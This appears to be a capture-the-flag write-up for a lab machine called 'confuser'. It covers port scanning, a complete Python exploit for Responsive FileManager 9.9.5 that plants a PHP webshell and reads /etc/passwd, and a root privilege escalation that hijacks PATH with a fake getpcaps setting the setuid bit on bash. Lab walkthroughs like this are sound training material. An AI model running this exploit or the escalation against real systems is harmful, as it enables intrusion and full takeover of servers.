Host entries
1
10.0.160.220
Content
- Responsive FileManager 9.9.5 - Remote Code Execution (RCE)
- Path hijacking abusing binary with embedded privileges (Reverse Engineering)
Reconnaissance
Initial reconnaissance for TCP ports
1
2
3
4
nmap -p- -sS --open --min-rate 500 -Pn -n -vvvv -oG allPorts 10.0.160.220
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.0.160.220 () Status: Up
Host: 10.0.160.220 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
Exploitation
Checking service HTTP on port 80 I discovered that there is a web application, with an Standalone Responsive Filemanager within
After some research, I found this github advisory vulnerability which redirects you to a very well written Responsive FileManager 9.9.5 RCE, which is a python script that allows you to have command execution, the only modification needed was for the URI part of the exploit by adding /plugins
to all the :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import sys
import requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint
# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py 127.0.0.1
def usage_instructions():
"""
Function that validates the number of arguments.
The aplication MUST have 2 arguments:
- [0]: Name of the script
- [1]: Target site, which can be a domain or an IP Address
"""
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target.site>")
print("Example: python3 exploit.py 127.0.0.1")
sys.exit(0)
def run_command(web_session, webshell_url, command_to_run):
"""
Function that:
- Interacts with the webshell to run a command
- Cleans the response of the webshell
- Returns the response object and the output of the command
"""
webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)
command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')
return (webshell_response, command_output_soup.find('pre').text)
if __name__ == "__main__":
usage_instructions()
# Change this with the domain or IP address to attack
if sys.argv[1]:
host = sys.argv[1]
else:
host = "127.0.0.1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
}
# URL to create a new file
target_url = f"http://{host}/plugins/filemanager/execute.php?action=create_file"
# Change this to customize the payload (i.e. The content of the malicious file that will be created)
payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"
# oneliner_payload = " <?=`$_GET[_]`?>"
# URL to get a PHPSESSID value
cookie_url = f"http://{host}/plugins/filemanager/dialog.php"
# New Session
session = requests.Session()
# GET request to retrieve a PHPSESSID value
cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")
try:
session.get(url = cookie_url, headers = headers)
except:
cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")
sys.exit(0)
if session.cookies.get_dict():
cprint("[+] PHPSESSID retrieved correctly.", "green")
cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")
else:
cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")
# Params, rename if you want
params = {"path": "shell.php", "path_thumb": "../plugins/thumbs/shell.php", "name": "shell.txt", "new_content": payload}
# POST request to create the webshell
cprint(f"\n[*] Attempting to create a webshell on {host}", "blue")
response = session.post(url = target_url, headers = headers, data = params)
# If the status code and the message match, we may have a webshell inside. ;)
if response.status_code == 200 and response.text == "File successfully saved.":
# Default webshell path
shell_url = f"http://{host}/plugins/source/shell.php"
# Verify if the shell was uploaded by running whoami and cat /etc/passwd
webshell, whoami_output = run_command(session, shell_url, "whoami")
webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")
# Common users when getting a webshell
common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]
# Verify if the command was executed correctly
if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:
cprint("[+] Webshell uploaded - Enjoy!", "green")
cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")
cprint(f"[+] Running `whoami` command: {whoami_output}", "green")
# Ask to enter into a pseudo-interactive mode with the webshell
answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))
if answer.upper() == "Y":
cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue")
command = ""
while command != "exit":
command = input(colored(">> ", "cyan")).lower()
webshell, command_output = run_command(session, shell_url, command)
if command != "exit":
cprint(command_output, "cyan")
cprint("\n[*] Exiting...Bye!", "blue")
elif response.status_code == 403 and response.text == "The file is already existing":
cprint("[-] The file that you're trying to create is already on the server.", "red")
else:
cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")
And this is how it should be run to get a reverse shell:
Privilege Escalation
For the Privilege Escalation I then proceed to execute the command sudo -l
and I can execute a script as user root without password:
1
2
3
4
5
6
www-data@confuser:/var/www/html/plugins/source$ sudo -l
Matching Defaults entries for www-data on confuser:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on confuser:
(ALL : ALL) NOPASSWD: /usr/local/bin/confuser
It is a binary, so then I decided to do some reversing using Ghidra and this is the content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
main(void)
{
int param1;
seteuid(0);
setegid(0);
setuid(0);
setgid(0);
param1 = system("/bin/ls -alR && getpcaps");
if (param1 == 0) {
printf("Command executed successfully.");
}
else {
printf("Command execution failed or returned non-zero: %d",param1);
}
return 0;
}
Two things to consider, first commands executed which makes the binary being executed as root seteuid
setegid
setuid
, and the second is the /bin/ls -alR && getpcaps
command, so yes this is a non-classic path hijacking, because we need to execute it without sudo, at least is what it worked for me, probably because the getpcaps
binary has the root execution itself, so first we need to create a fake getpcaps
and give permissions:
1
2
3
echo 'chmod +s /bin/bash' > getpcaps
chmod +x getpcaps
Then we need to modify our PATH:
1
export PATH=/tmp:$PATH
Finally, all you need to do is execute the sudo command:
1
www-data@confuser:/tmp$ sudo /usr/local/bin/confuser
If the sudo command does not work blame DATABUS, however if that is the case, try running it without sudo And we are INSIDEEEE!!!
Post Exploitation
Flags are stored at:
/etc/passwd
/etc/shadow
env
command /root
Credentials
No credentials were identified for this machine
Notes
- No idea what did I do for the privesc…